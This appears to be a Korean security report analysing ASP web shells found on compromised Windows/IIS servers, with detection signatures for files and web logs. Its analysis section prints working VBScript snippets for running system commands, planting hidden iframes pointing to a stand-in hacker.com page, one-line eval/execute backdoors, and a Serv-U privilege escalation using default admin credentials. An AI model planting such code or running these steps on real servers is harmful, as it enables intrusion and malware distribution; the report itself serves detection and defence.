*2월완결

Similar documents
untitled

<4D F736F F F696E74202D20C0A5BDA9C5BDC1F6BDC3BDBAC5DB28BDA9C5A9B8B029BCD2B0B3C0DAB7E15F76312E32315FB5F0C4DCC7C3B7AFBDBA2E707074>

<5BB5BFB8EDB4EB2D E4B5D C0A5BDA9C0C720BAD0BCAEB0FA20B4EBC0C020B9E6BEC82E687770>

*2008년1월호진짜

untitled

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

PowerPoint Template

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>

AhnLab_template

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

The Pocket Guide to TCP/IP Sockets: C Version

게시판 스팸 실시간 차단 시스템

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

로거 자료실

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

Microsoft Word - src.doc

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

Windows 8에서 BioStar 1 설치하기

SUPEX Leadership 과정 개발완료(보고)

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

untitled

Observational Determinism for Concurrent Program Security

ActFax 4.31 Local Privilege Escalation Exploit

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

Secure Programming Lecture1 : Introduction

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

MySQL-.. 1

BEA_WebLogic.hwp

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

Microsoft PowerPoint - chap01-C언어개요.pptx

#WI DNS DDoS 공격악성코드분석

PowerPoint Template

Secure Programming Lecture1 : Introduction

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

gcloud storage 사용자가이드 1 / 17

Hackthepacket WriteUp ##DoubleB## LQ. telnet 은다보여 LEQ : telnet Hint : Key is telent Password FILE : 3.Q_2(Leopardan) Sol) Idea : 힌트에따라 TELNET 프로토콜을필터링

` 동향보고서 1. 악성코드은닉동향요약 3 2. 홈페이지은닉형악성코드통계 악성코드유포지현황 6 - 유포지탐지현황 6 - 대량경유지가탐지된유포지 TOP 악성코드취약점및취약한 S/W 악용현황 8 - 악성코드유형별비율 9 - 위협 IP 및도메인현황 10

I. 서론 FOCUS 한국인터넷진흥원(KISA) 인터넷침해대응센터(KrCERT)는 다양한 방법으로 해킹사고를 탐지하고 있다. 인터넷침해대응센터 자체적으로 보유하고 있는 탐지체계 뿐만 아니라 시스템 담당자들이 직접 신고하는 신고체계 또한 해킹사고 탐지에 있어 중요한 역할

Microsoft PowerPoint - [Practice #1] APM InstalI.ppt

DDoS 공격, 게임계정유출해커, 비트코인등가상화폐노린다 - 13 년 10 월부터 DDoS, 원격제어, 게임계정유출하더니최근암호화폐채굴 - 개요지난 13 년 10 월,Microsoft 社의인터넷익스플로러취약점 (CVE ) 을통해유포되는악성코드가 DDoS

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

슬라이드 1

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

Connection 8 22 UniSQLConnection / / 9 3 UniSQL OID SET

Windows Server 2012

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

웹개발을위한 ComponentOne 사용법 (2) 권대건 부산대학교컴퓨터공학과 Abstract 최근웹개발이활성화되면서전문가를위한여러가지 Tool 웹애플리케이션형태로제공하는경우가늘고있다. ComponentOne 은.NET 기반의 UI C

PowerPoint 프레젠테이션

쉽게 풀어쓴 C 프로그래밍

PowerPoint 프레젠테이션

Microsoft Word - CrossSiteScripting[XSS].docx

신종파밍악성코드분석 Bolaven

0. 들어가기 전

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

PowerPoint 프레젠테이션

월간악성코드은닉사이트탐지 동향보고서 9 월 침해대응단사이버침해대응본부

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

2015 경제ㆍ재정수첩

untitled

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University


< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 악성코드유포지현황 3 - 유포지탐지현황 3 - 대량경유지가탐지된유포지 TOP 악성코드취약점및취약한 S/W 악용현황 5 - 악성코드유형별비율 6 - 위협 IP/ 도메인현황 7 2

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins

SKINFOSEC_TECH_005_China Bot_가칭_ 악성코드 분석_v0.3.doc

Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로 SD 카드리더기 HDM I 케이블모니터

아래 항목은 최신( ) 이미지를 모두 제대로 설치하였을 때를 가정한다

Tablespace On-Offline 테이블스페이스 온라인/오프라인

server name>/arcgis/rest/services server name>/<web adaptor name>/rest/services ArcGIS 10.1 for Server System requirements - 지

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft Word FCKeditor.doc

5th-KOR-SANGFOR NGAF(CC)

Microsoft Word - Blind Sql Injection.doc

DBMS & SQL Server Installation Database Laboratory

Chapter 1

(Microsoft Word - \301\266\301\326\272\300_XSS.docx)

PowerPoint 프레젠테이션

untitled

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 년 6 월

<4D F736F F F696E74202D C0A5BCADB9F620BAB8BEC8BCB3C1A420B0A1C0CCB5E52E707074>

PowerPoint 프레젠테이션

U.Tu System Application DW Service AGENDA 1. 개요 4. 솔루션 모음 1.1. 제안의 배경 및 목적 4.1. 고객정의 DW구축에 필요한 메타정보 생성 1.2. 제품 개요 4.2. 사전 변경 관리 1.3. 제품 특장점 4.3. 부품화형

C H A P T E R 2

Microsoft PowerPoint - web-part03-ch20-XMLHttpRequest기본.pptx

TCP/IP Model

Microsoft PowerPoint 세션.ppt

Mango-IMX6Q mfgtool을 이용한 이미지 Write하기

untitled

리눅스설치가이드 3. 3Rabbitz Book 을리눅스에서설치하기위한절차는다음과같습니다. 설치에대한예시는우분투서버 기준으로진행됩니다. 1. Java Development Kit (JDK) 또는 Java Runtime Environment (JRE) 를설치합니다. 2.

WebKnight를 활용한 IIS 웹서버 보안

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

untitled

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

Transcription:

3. ASP 웹쉘상세분석및탐지방안 1. 개요 가. 웹쉘이란? 웹쉘이란공격자가원격에서대상웹서버에명령을수행할수있도록작성한웹스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc 와같은데이터파일종류이외에악의적으로제작된스크립트파일인웹쉘을업로드하여웹서버를해킹하는사고가빈번히발생하고있다. 최근에는파일업로드뿐만아니라 SQL Injection 과같은웹취약점을공격한후지속적으로피해시스템을관리할목적으로웹쉘을생성한다. 공격자는웹쉘을대상서버에업로드한후웹을이용하여시스템명령어를수행하므로네트워크방화벽영향을받지않고서버를제어할수있다. 웹쉘은웹페이지소스코드열람, 악성스크립트 (iframe 등 ) 삽입, 파일업로드, 서버및데이터베이스자료유출등의다양한공격이가능하다. 최근웹쉘은탐지를어렵게하기위해웹쉘의일부분만을피해시스템에업로드하는등그유형이나날이발전하고있다. 나. 웹쉘의위험성 2007 년도인터넷침해사고대응지원센터 (www.krcert.or.kr) 에서한해동안분석했던피해웹서버중웹쉘이발견된웹서버는총 91% 의분포를보였다. 이것은공격자들이취약점을공격한후웹쉘을업로드하여시스템을통제하기가수월하다보니사용빈도가높은것을확인할수있다. 웹취약점을통해피해시스템에접근한공격자는방화벽에서접근을허용하는 HTTP (80/tcp) 서비스를통해피해시스템을제어하므로웹쉘을차단하기가쉽지않다. 피해시스템에서수집된 ASP 웹쉘샘플한개를 http://www.virustotal.com 사이트에서각바이러스백신엔진탐지결과를확인하였다. 아래그림과같이많은국내외백신사에서탐지못하고있으며공격자들은스크립트웹쉘들을빈번히변경시켜사용하기때문에백신들로서는탐지하기가쉽지않다. 22

[ 그림 ] 웹쉘백신탐지결과 또한일반적인서버관리자들은해킹여부를확인하기힘들고피해를인지하더라도관리자들이주로사용하는백신프로그램에서웹쉘탐지가안되므로웹쉘을찾기가쉽지않다. 관리자들이해킹피해를인지하고시스템을재설치하더라도이전에웹쉘이업로드되어있는소스그대로새롭게설치한시스템에복사하여사용하기때문에지속적으로웹쉘을관리하는공격자에게피해를입게된다. 다. 웹쉘최신동향 o 인증된공격자만사용가능하도록패스워드를입력받거나, 특정세션값으로세팅해야만기능들을사용할수있는웹쉘들이많다. [ 그림 ] 웹쉘사용자인증 Part 3 월간특집 23 2008 년 5 월호

o ASP 의 eval, execute 메소드등은원격에있는공격자로부터웹쉘실행코드를전달받아실행하는데많이이용되고있다. 이같은 Eval, Execute 코드는정상적인스크립트파일에도삽입이가능해웹쉘탐지가더욱어려워지고있다. o 최근각백신사, 관리자들에의해웹쉘탐지가늘어공격자들은여러기능을하는웹쉘코드를각기능별로웹쉘들을분리하여사용하고있다. 그중파일생성기능, DB 쿼리기능을하는웹쉘파일들이빈번하게발견되고있다. o ASP 스크립트의경우웹소스를보호하기위해인코딩하는 Script Encoder 를제공하고있다. 이러한인코더를악용하여웹쉘을인코딩하고백신탐지를우회하고있다. o 공격자들은웹쉘이업로드되어있는피해시스템웹쉘 URL 을관리하기위해관리프로그램들을사용하고있다. 중국해커들은아래와같은관리프로그램을개발하여자신들이장악했던피해사이트들을체계적으로관리하고있다. [ 그림 ] 웹쉘관리프로그램 2. ASP 웹쉘상세분석최근국내에서발생하고있는피해시스템웹서버대부분은윈도우가차지하고있다. 윈도우, IIS, ASP 환경의사이트들이특히 SQL Injection 공격에취약할경우이러한취약점을이용하는자동화공격도구들로인해쉽게악성코드유포지, 경유지로악용되고있다. 이러한윈도우피해시스템을공격하는데많이사용되는 ASP 웹쉘의기능과동향에대해상세히살펴보도록하겠다. 24

가. 각기능별웹쉘분석 명령어및각종어플리케이션실행 ASP 웹쉘에서는윈도우에서시스템명령어나외부프로그램을실행하기위해 Wscript.Shell, Shell.Application 오브젝트를이용한다. Wscript.Shell 오브젝트는메소드 Run, Exec 를이용하여시스템명령어및외부프로그램을실행할수있다. o Wscript.Shell - Run (cmd, 0, True) - Exec (cmd) Set WshShell = Server.CreateObject ( WScript.Shell ) Call WshShell.Run (cmd, 0, True) Set WshShell = CreateObject ( WScript.Shell ) Set oexec = WshShell.Exec (cmd) 시스템명령어또는프로그램을실행할수있는또다른방법은 Shell.Application 오브젝트의 ShellExecute 메소드를이용하는것이다. o Shell.Application - Shellexecute Application, Argument, Path,, 1 set objshell = CreateObject( Shell.Application ) objshell.shellexecute notepad.exe,,, open, 1 파일조작파일관련조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를사용한다. 이중에서 Scripting.FileSystemObject, Adodb.Stream 을이용한파일조작방법에대해살펴보도록하겠다. o Scripting.FileSystemObject - 파일리스팅 Set fso = CreateObject( Scripting.FileSystemObject ) Set f = fso.getfolder(folderpath) Set fp = f.files For Each f1 in fp s = s & f1.name Next - 파일보기 fso 는 Scripting.FileSystemObject 로생성한오브젝트이다. Set f = fso.opentextfile( c:\testfile.txt ) ra = f.readall Part 3 월간특집 25 2008 년 5 월호

- 파일생성및수정 Set MyFile = fso.createtextfile( c:\testfile.txt, True) MyFile.Write Contents - 파일이동및삭제 fso.copyfile Path1, Path2 fso.copyfolder Path1, Path2 fso.deletefile Path fso.deletefolder Path 파일다운로드 o Adodb.Stream Set stream = Server.CreateObject Adodb.Stream ) stream.open stream.type = 1 stream.loadfromfile(path) Response.AddHeader Content-Disposition, attachment; filename= & FileName Response.AddHeader Content-Length, stream.size Response.Charset = UTF-8 Response.ContentType = application/octet-stream Response.BinaryWrite stream.read Response.Flush stream.close Set stream = Nothing 파일업로드 Adodb.Stream 오브젝트를이용하여파일을업로드한다. 관련메소드들은아래와같다. 구현예제코드생략 o Adodb.Stream - Write - Read - SaveToFile 웹페이지들에악성스크립트삽입기능웹쉘에서는악성코드를유포하기위해각 html 파일들이나스크립트파일에악성스크립트 (iframe) 를삽입하는기능이있다. o 정규표현식으로아래와같이악성스크립트를삽입할파일명을정의한다. default, index main 등홈페이지메인페이지이름을갖는 html 파일들이나스크립트파일들을정규표현식으로찾는다. - (\\ \/)(default index main admin)\.(htm html asp php jsp aspx)\b 26

o 그리고아래와같은 iframe 악성스크립트코드를삽입한다. - <iframe src=http://hacker.com/m.htm width=0 height=0></iframe> 정규표현식으로파일이름을검사하여메인페이지를찾는다. Set regex=new RegExp regex.pattern= (\\ \/)(default index main admin)\.(htm html asp php jsp aspx)\b regex.ignorecase=true retval=regex.test(path) 위정규표현식으로검색된파일의끝에 iframe 코드를삽입한다. Set fs=server.createobject( Scripting.FileSystemObject ) Set f=fs.getfile(path) Set f_addcode=f.openastextstream(8,-2) // 포인터는파일끝으로이동하고쓰기모드로연다 f_addcode.write <iframe src=http://hacker.com/m.htm width=0 height=0></iframe> f_addcode.close 데이터베이스열람및조작데이터베이스에접속하기위해서는 Adodb.Connection 오브젝트를사용하고아래와같은메소드를이용하여데이터베이스연결및 SQL 쿼리문들을실행할수있다. Set Con = Server.CreateObject( Adodb.Connection ) Con.Open Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD SQL = SELECT * FROM table Set RS = Con.Execute(SQL) 레지스트리조작윈도우는모든시스템구성정보나사용자설정정보를레지스트리에저장한다. 웹쉘에서는아래와같은 Wscript.Shell 오브젝트와관련메소드를이용하여레지스트리확인및조작한다. 구현예제코드생략 o Wscript.Shell - RegRead - RegWrite - RegDelete 웹쉘에서참조하는레지스트리값들은아래와같다. - 터미널서비스포트, PortNumber 키값변경 HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\ - 윈도우자동으로로그인키값 (autoadminlogon) 이설정되어있는경우디폴트사용자이름 (DefaultUserName) 과패스워드 (DefaultPassword) 를확인 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ - 컴퓨터이름확인 HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName Part 3 월간특집 27 2008 년 5 월호

- 익명사용자접속여부및공유정보확인 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha rednetdrives - 보안필터링및포워딩여부확인 HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter - 네트워크카드정보확인 HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind 시스템정보확인웹쉘에서 GetObject 메소드를이용해서비스와사용자장보를확인한다. o 서비스확인 Set ComputerObj = GetObject( WinNT://MYCOMPUTER ) ComputerObj.Filter = Array( Service ) For Each Service in ComputerObj WScript.Echo Service display name = & Service.DisplayName WScript.Echo Service account name = & Service.ServiceAccountName WScript.Echo Service executable = & Service.Path WScript.Echo Current status = & Service.Status Next o 사용자정보확인 Set objcomputer = GetObject( WinNT://. ) objcomputer.filter = Array( User ) For Each objuser in objcomputer WScript.Echo objuser.name Next 28

어플리케이션취약점을통한로컬권한상승 웹에서실행되는모든파일들은기본적으로인터넷게스트계정으로으로실행된다. 웹쉘은이러한제한된권한을관리자권한으로상승시키기위해취약점있는 Serv-U 프로그램을이용한다. Serv-U 3.x ~ 5.x 는로컬권한상승취약점이있으며이를이용하여새로운관리자계정을생성할수있다. 취약점을공격하는과정은아래와같다. o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드및실행 (TzoLibr.dll 필요 ) o Serv-U 디폴트아이피 / 포트 (127.0.0.1/43958) 로접속후 o Serv-U 디폴트관리아이디 / 패스워드로로그인 - USER LocalAdministrator ( 디폴트아이디 ) - PASS #l@$ak#.lk;0@p ( 디폴트패스워드 ) o Serv-U 에신규도메인생성 o Serv-U 명령어실행에필요한 Serv-U 사용자추가 o SITE EXEC Serv-U 내부스크립트를통한시스템명령어수행 set a=server.createobject( Microsoft.XMLHTTP ) a.open GET, http://127.0.0.1: & port & /goldsun/upadmin/s1,true,, a.send loginuser & loginpass & SITE MAINTENANCE & deldomain & newdomain & newuser & quit set session( a )=a set b=server.createobject( Microsoft.XMLHTTP ) b.open GET, http://127.0.0.1: & ftpport & /goldsun/upadmin/s2, True,, b.send User go & vbcrlf & pass od & vbcrlf & SITE EXEC & cmd & vbcrlf & quit set session( b )=b 나. 스크립트인코딩마이크로소프트社의윈도우스크립트는 Script Encoder를제공하여일반사용자들이스크립트내용을확인하는게쉽지않도록하고있다. 하지만웹쉘을업로드한공격자가이러한기능을악용하여관리자가웹쉘을쉽게찾지못하도록백신탐지를우회하는데이용하고있다. http://msdn2.microsoft.com/en-us/library/cbfz3598(vs.85).aspx Script Encoder 는콘솔모드에서명령어라인으로실행되며다음과같이사용한다. SCRENC [switches] inputfile outputfile 일반 asp 스크립트를인코딩하면아래와같은결과가된다. 일반소스 인코딩소스 <script language= VBScript > <% This is test %> </script> <%@ LANGUAGE = VBScript.Encode %> <script language= VBScript > <%#@~^FAAAAA==@#@&K4b/,k/,Y dy @#@&ogqaaa==^#~@%> </script> Part 3 월간특집 29 2008 년 5 월호

최근에발견되는웹쉘들은위에서처럼 VBScript.Encode 로인코딩되어있는것들이상당히많다. 이러한인코딩방법은아래와같은사이트에서제공되는소스와프로그램으로디코딩할수있다. http://www.virtualconspiracy.com/content/scrdec/download - scrdec18.exe - scrdec18.c scrdec18 <infile> <outfile> [-cp codepage] [-urldec -htmldec] [-verbose] [-dumb] [ 그림 ] scrdec18 프로그램을이용한디코딩 다. 짧은웹쉘 ASP 웹쉘중 eval, execute 메소드를이용하여공격자로부터웹쉘코드를전달받아실행하는짧은소스코드들이있다. 이같이짧은소스코드가정상적인소스에삽입되어실행되는경우도있으므로관리자들의각별한주의가필요하다. - eval (expression) : eval 함수는 expression으로정의된코드를평가하여결과 (True, False) 를알려준다. - execute (expression) : execute 함수는 expression으로정의된코드를실행하여결과를알려준다. eval, execute 메소드를이용한웹쉘구동방법은아래개요도처럼, 먼저공격자는피해시스템에웹쉘코드를보내는 html 폼 (2006_lite.asp.html) 을준비하고그폼에웹쉘코드를넣어피해시스템웹쉘 (server.asp) 에전송한다. 피해시스템에서는웹쉘코드를전달받아 execute, eval 메소드로실행하고 execute 메소드는결과를공격자에게전달해준다. (eval 메소드는코드를실행하고결과에대한 True, False 만을알려주므로적절한결과를공격자에게알려주지는못한다 ) 30

eval 코드 [ 그림 ] execute, eval 코드를이용한웹쉘실행방법 다음은피해시스템에서발견된 eval 코드유형이며아래와같이한줄, 짧은코드로이루어진다. - <%eval request( l )%> - <%eval(request( # ))%> execute 코드다음은피해시스템에서발견된 execute 코드유형이다. - <%execute request( l )%> - <%If Request( # )<> Then Execute(Request( # ))%> execute 세션유지용코드 execute 메소드를이용한짧은코드의경우공격자가실행하기원하는코드를위개요도그림처럼매번전송해주어야하는번거로움이있다. 그래서공격자들은한번넘겨준코드를실행한결과를세션으로연결하여다음에는코드를넘겨줄필요없이실행결과에서다음메뉴로넘어갈수있도록하였다. <script language= vbscript runat= server > If Request( asdf )<> Then Session( 조직킬러 )=Request( asdf ) If Session( 조직킬러 )<> Then Execute(Session( 조직킬러 )) </script> Part 3 월간특집 31 2008 년 5 월호

라. 기타 문자열분리를이용한탐지우회기능 최근바이러스백신이나서버관리자들이웹쉘시그니쳐를통해웹쉘탐지가많아지자공격자들은시그니쳐로이용되는문자열 ( 오브젝트명 ) 들을분산시켜탐지를우회하고있다. - Shell.Application 문자열을연결하는 & 연산자를이용하고값이주어지지않은변수 x를이용해아래와같이 Shell.Application 문자열을분리한다. Set sa = Server.CreateObject( She &x& ll.appl &x& ication ) She &x& ll.appl &x& ication => Shell.Application - WScript.Shell Set ws = Server.CreateObject( WScr &x& ipt.shell ) 파일생성웹쉘 Scripting.FileSystemObject 오브젝트를이용하여새로운파일을생성하는기능을앞서살펴보았다. 최근정상적인스크립트들에서도사용하는 CreateTextFile, Write 메소드를이용하여단지파일만생성하는웹쉘들이증가하고있다. 이러한웹쉘은정상적인스크립트에서사용하는오브젝트와메소드를사용하므로탐지하기가쉽지않다. 또한이러한웹쉘들은앞서설명한다양한기능을가지는웹쉘을얼마든지생성할수가있어관리자들의주의가필요하다. [ 그림 ] 파일생성웹쉘화면 32

3. 탐지방안 가. 웹쉘시그니쳐를이용한파일검색 시그니쳐 웹쉘은시스템명령어를수행하거나파일을조작하기위해관련된오브젝트, Wscript.Shell, Shell.Application 등을주로사용하게된다. 하지만이러한오브젝트는정상적인스크립트코드에서는사용하지않는것들로웹쉘탐지를위한시그니쳐로지정하여웹쉘을탐지하는데이용할수있다. 이렇게시그니쳐로지정할만한문자열들을찾아본결과다음과같았다. - Wscript.Shell, Shell.Application 과같은시스템에접근할수있는오브젝트나메소드 - 인코딩된파일에삽입된헤더문자열 VBScript.Encode - 중국어간체 gb2312 - 시스템명령에필요한문자열 cmd.exe - 정상적인스크립트에서흔히사용되지않는 eval, execute 함수등 cmd\.exe Wscript\.Shell Shell\.Application VBScript\.Encode gb2312 execute *\(? *session execute *\(? *request eval *\(? *request \.run.*> \.exec *\( webshell lake2 hack520 lcxmarcos Marcos findstr 명령어를활용한탐지방법 findstr 이라는명령어는지정된파일들에서찾고자하는특정문자열들을검색할수있도록도와준다. 위에서정의된시그니쳐들을파일 (asp.sig) 로지정하고사이트홈디렉터리에서아래의예처럼실행해보기바란다. findstr /i /r /s /g:asp.sig *.asp - i : 대소문자구분없이검색 - g : 지정된파일에서검색문자열을받음 - r : 정규표현식사용 - s : 모든하위디렉터리검색 최근공격자들이웹쉘확장자를.cer,.asa, cdx, hta 로변경하여파일을업로드하는경우가있다.( 파일업로드우회공격 ) 반드시검사확장자를 asp 뿐만아니라스크립트로실행되도록지정된.asa,.cer 등도반드시함께검색하도록해야한다. Part 3 월간특집 33 2008 년 5 월호

[ 그림 ] 검사대상확장명 나. 웹쉘로그시그니쳐를이용한웹로그검색 시그니쳐 최근대부분의웹쉘들은 POST 방식으로관련데이터들을전송하기때문에웹로그에서웹쉘이실행된흔적을찾기가쉽지않다. 하지만많은웹쉘들은실행할메뉴들을 GET 방식으로전달하여이러한로그들을대상으로시그니쳐를추출할수있었다. 아래 8.0.asp 웹쉘에서시스템명령어수행하는메뉴를실행하면아래와같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을하게되어 Action=Cmd1Shell 이라는고유의시그니쳐를얻을수있다. ex) http://victim.com/webshell/8.0.asp?action=cmd1shell 인터넷침해사고대응지원센터에서피해시스템에서수집된웹쉘을테스트하고아래와같이웹쉘실행여부를확인할수있는시그니쳐를추출하였다. Action=MainMenu Action=Show1File Action=EditFile Action=DbManager Action=getTerminalInfo Action=ServerInfo Action=Servu Action=kmuma Action=kmuma&act=scan Action=Cplgm&M=2 Action=plgm Action=PageAddToMdb 34

Action=ReadREG Action=ScanPort Action=Cmd1Shell Action=UpFile (pagename id list action act)=servicelist (pagename id list action act)=servicelist (pagename id list action act)=infoaboutsrv (pagename id list action act)=objonsrv (pagename id list action act)=userlist (pagename id list action act)=wscmdrun (pagename id list action act)=sacmdrun (pagename id list action act)=sacmdrun&theact (pagename id list action act)=fsofileexplorer (pagename id list action act)=fsofileexplorer&theact (pagename id list action act)=fsofileexplorer&thepath pagename=msdatabase pagename=msdatabase&theact=showtables pagename=txtsearcher pagename=othertools act=scan Action=mainwin action=listtb action=listvw action=listdb action=execsql action=dbsrcbox action=searchfile action=xpcmdshell (action act)=cmdshell action=mainmenu action=showfile action=editfile action=course action=serverinfo action=upfile action=dbmanager ex=edit&pth= PageName=PageUpload&theAct PageName=PageWebProxy&url= productname=higroupaspadmin PageWebProxy Part 3 월간특집 35 2008 년 5 월호

action=cmd action=clonetime&src= action=sqlrootkit action=reg action=data action=goto&src=c:\ action=upfile&src= action=new&src= act=info act=filemanage act=edit&src= act=del&src= act=rename&src= DirName= Type=.*FileName=.*\ Type=.*ok=dir FsoFileExplorer WsCmdRun SaCmdRun MsDataBase HigroupASPAdmin =cmd ClonETiMe SqLrOotKIt 4. 결론관리하는서버에서웹쉘이탐지되었다면시스템에웹쉘을생성할수있었던취약점이존재할것이다. 웹쉘이업로드된피해시스템을분석한결과대부분파일업로드, SQL Injection과같은어플리케이션취약점으로웹쉘이생성되는것으로확인되었다. 웹쉘을탐지해서제거하는것도중요하지만웹쉘을생성할수있었던근본적인취약점을찾아내어패치하는것도관리자들이꼭 ~! 잊지않고해야될작업일것이다. 앞서탐지방법에서제공한시그니쳐들은오탐이발생할수있으므로반드시이보고서에서설명한기능을갖는웹쉘인지확인후삭제해야한다. 36